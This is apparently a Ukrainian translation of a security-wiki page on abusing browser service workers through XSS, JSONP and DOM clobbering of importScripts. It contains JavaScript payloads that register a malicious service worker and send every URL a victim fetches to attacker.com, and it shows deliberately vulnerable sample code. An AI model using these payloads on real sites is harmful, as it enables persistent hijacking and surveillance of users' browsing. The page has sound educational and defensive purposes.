Abusing Service Workers

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Група з безпеки Try Hard


Основна інформація

Службовець служби - це скрипт, який виконується вашим браузером в фоновому режимі, окремо від будь-якої веб-сторінки, що дозволяє використовувати функції, які не потребують веб-сторінки або взаємодії з користувачем, тим самим покращуючи можливості офлайну та фонову обробку. Детальну інформацію про службовців служби можна знайти тут. Використовуючи службовців служби вразливого веб-домену, зловмисники можуть отримати контроль над взаємодією жертви з усіма сторінками в межах цього домену.

Перевірка наявних службовців служби

Існуючі службовці служби можна перевірити в розділі Службовці служби в Вкладці Застосунки в Інструментах розробника. Інший метод - відвідати chrome://serviceworker-internals для більш детального перегляду.

Сповіщення Push

Дозволи на сповіщення Push безпосередньо впливають на можливість службовця служби спілкуватися з сервером без прямої взаємодії з користувачем. Якщо дозволи відхилені, це обмежує потенціал службовця служби становити постійну загрозу. Навпаки, надання дозволів збільшує ризики безпеки, дозволяючи отримувати та виконувати можливі експлойти.

Атака на створення службовця служби

Для використання цієї вразливості вам потрібно знайти:

  • Спосіб завантаження довільних JS файлів на сервер та XSS для завантаження службовця служби завантаженого JS файлу

  • Вразливий запит JSONP, де ви можете маніпулювати виводом (з довільним JS кодом) та XSS для завантаження JSONP з навантаженням, яке завантажить зловмисний службовець служби.

У наступному прикладі я покажу код для реєстрації нового службовця служби, який буде слухати подію fetch та надсилати на сервер зловмисника кожен отриманий URL (це код, який вам потрібно завантажити на сервер або завантажити через вразливу відповідь JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Це код, який зареєструє робочого (код, який ви повинні виконати, використовуючи XSS). У цьому випадку буде відправлено GET-запит на сервер зловмисника, щоб повідомити, чи було успішно зареєстровано робочого.

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

У випадку зловживання вразливою точкою доступу JSONP ви повинні помістити значення всередину var sw. Наприклад:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Існує C2, присвячений експлуатації службових робітників, під назвою Shadow Workers, який буде дуже корисним для зловживання цими вразливостями.

Директива кешування на 24 години обмежує термін життя зловживаного або компромітованого службового робітника (SW) принаймні до 24 годин після виправлення вразливості XSS, за умови онлайн-статусу клієнта. Для мінімізації вразливості оператори сайтів можуть знизити час життя (TTL) скрипта SW. Розробникам також рекомендується створити вимикач службового робітника для швидкого вимкнення.

Зловживання importScripts в SW через DOM Clobbering

Функція importScripts, викликана зі службового робітника, може імпортувати скрипт з іншого домену. Якщо цю функцію викликають з параметром, який зловмисник може змінити, він зможе імпортувати JS-скрипт зі свого домену та отримати XSS.

Це навіть обходить захист CSP.

Приклад вразливого коду:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

З використанням DOM Clobbering

Для отримання додаткової інформації про те, що таке DOM Clobbering, перевірте:

pageDom Clobbering

Якщо URL/домен, де SW використовується для виклику importScripts, знаходиться всередині елемента HTML, то можливо змінити його за допомогою DOM Clobbering, щоб SW завантажити скрипт з вашого власного домену.

Для прикладу перевірте посилання на джерело.

Посилання

Try Hard Security Group

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated